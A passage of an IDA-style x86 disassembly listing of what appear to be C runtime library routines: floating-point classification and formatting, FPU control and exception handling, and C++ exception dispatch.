ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421DBA test esi, esi jnz short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDDC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDDC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D308 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3E0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D30C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D408 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D408 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D414 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26A0000h test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax nop call near ptr 26C0422h test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D084, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D088 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D088 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; ___:off_43D430o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE5C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE58 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D088 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE5C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE5C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE60 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE58 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D088 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE5C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE58, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE60, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE58 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE60, ecx setl cl mov byte_4DBE64, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE60, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE5C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE5C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE5C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE5C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE68 test esi, esi jz loc_4227C8 mov eax, dword_4DBE6C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz 